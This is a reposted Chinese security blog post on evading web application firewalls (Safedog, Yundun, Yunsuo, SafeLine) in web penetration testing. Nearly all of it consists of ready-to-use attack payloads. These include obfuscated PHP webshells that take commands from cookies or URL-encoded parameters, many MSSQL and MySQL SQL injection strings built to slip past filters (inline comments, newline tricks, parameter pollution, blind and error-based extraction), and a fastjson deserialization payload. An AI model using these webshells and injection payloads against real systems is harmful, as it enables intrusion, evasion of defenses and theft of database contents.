web渗透中bypass防护系统

admin 2022年12月29日14:37:29评论19 views字数 3662阅读12分12秒阅读模式
一. webshell执行命令

文件上传后向webshell传参数:

  1. 三重url编码

  2. 三重base64编码

  3. cookie传参

  4. 参数污染

http://test/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=whoami

cookie传参对应webshell:

x=ls
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>
<?php$poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));?>

二. sql注入

1 安全狗

mssql

安全狗对负数不是很敏感,对数学运算后的布尔值也不是敏感。会拦截单引号。

and @@version>~1and (user|1)>-1and (db_name()|1)>.1

如果from后面直接跟字符或者数字,安全狗会拦截。这时候可以使用下面语句来爆表名:

and ~1=(select top 1 name from[sysobjects]);--

使用下面的语句来加上xtype的限制条件,只输出用户创建的表,可以用char或者hex编码绕过:

and ~1=(select top 1 name from[sysobjects] where xtype=0x75);--and ~1=(select top 1 name from[sysobjects] where xtype=0x75 and name not in (CHAR(105)%2BCHAR(110)%2BCHAR(102)%2BCHAR(111),CHAR(97)%2BCHAR(100)%2BCHAR(109)%2BCHAR(105)%2BCHAR(110)));

尝试使用内联注释进行绕过:

?id=1 union/*!1*/select null,name,null from [info]--*/

利用注释加换行,这个很好用

?id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/?id=1--/*%0aexec xp_create_subdir 'c:text'--%20*/

mysql

web渗透中bypass防护系统

判断注入

?id='1'|1?id='1'|2?id='1'&2?id='1'&1?id='1'<~1?id=1' and CONCAT(1)-- +?id=1' and CONCAT(0)-- +?id=1' and CONV(1,11,2)-- +?id=1' and CONV(0,11,2)-- +?id=1' and BINARY 1-- +?id=1' and BINARY 0-- +

内联注释绕过,fuzz版本号:

web渗透中bypass防护系统

?id=1' union/*!11440select*/ 1,2,3--+ ?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+

注释加换行,重点就在如何让换行符起作用:

union %23%0aall selectunion  -- hex()%0a select

参数污染,在php/apache 中 它总解析最后一个id

?id=-1' /*&id='union select 1,user(),3 -- +*/?id=-1' /*&id=' union  -- hex()%0a select 1,schema_name,3 from `information_schema`.schemata limit 1,1

绕过information_schema:

`information_schema`.schemata`information_schema`.`schemata`information_schema.`schemata`(information_schema.schemata)information_schema/**/.schemata

时间盲注:

and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)

布尔盲注

/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)=r  #结果如果为true,则用户有可能是rootand!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=unhex(72)

web渗透中bypass防护系统

web渗透中bypass防护系统

报错注入

 /*updatexml*/(1,1,1) /*!5000updatexml*/(1,1,1)  /*!11440updatexml*/(1,1,1)  /*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)   #and运算符  /*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)   | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)    xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)    /*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)
?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +

2 云盾

mysql

云盾无法被/**/这种符号bypass,因此内联注释无法使用,但是它对逻辑运算符的符号形式过滤不是特别强。

用&&替代and用||替代or即可,用!代替非逻辑。

and ~1=1  
and!!!1=1 
and 1-1   
and true
and 1

盲注

and!!!substr((select user-- (1)%0a()),1,1)='r'

union

union(select 1,2,3)

报错注入

and `updatexml`(1,select `user`%0a(),1)

3 云锁

mysql

web渗透中bypass防护系统

and 'a'-0 #后面的值是0,相当于and 0and 'a'|1 #后面的值是1,相当于and 1

布尔盲注利用注释和换行

and strcmp((substr((select user/**/()),2,1)),'0')?id=1'  and strcmp((substr((select /*from*/),2,1)),'0')-- + ?id=1'  and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')-- +

报错注入

?id=1'  and `updatexml`(1,concat(0x7e,(select user/**/()),0x7e),1)/**/-- +

fastjson

safeline

{"@type":b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}

三. 参考文章

https://y4er.com/post/bypass-mysql-safedog/

https://y4er.com/post/bypass-mysql-yunsuo/

https://github.com/shanfenglan/MYSQL_SQL_BYPASS_WIKI/

https://github.com/shanfenglan/MYSQL_SQL_BYPASS_WIKI/blob/master/2-6-%E6%8B%93%E5%B1%95Bypass%E7%9A%84%E5%B8%B8%E7%94%A8%E6%80%9D%E8%B7%AF.md

————————————————
作者:Shanfenglan7
原文链接:https://blog.csdn.net/qq_41874930/article/details/122682646
扫码加我好友进群获取

微信号:stonefor345

web渗透中bypass防护系统

原文始发于微信公众号(HACK之道):web渗透中bypass防护系统

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月29日14:37:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web渗透中bypass防护系统http://cn-sec.com/archives/1486317.html

发表评论

匿名网友 填写信息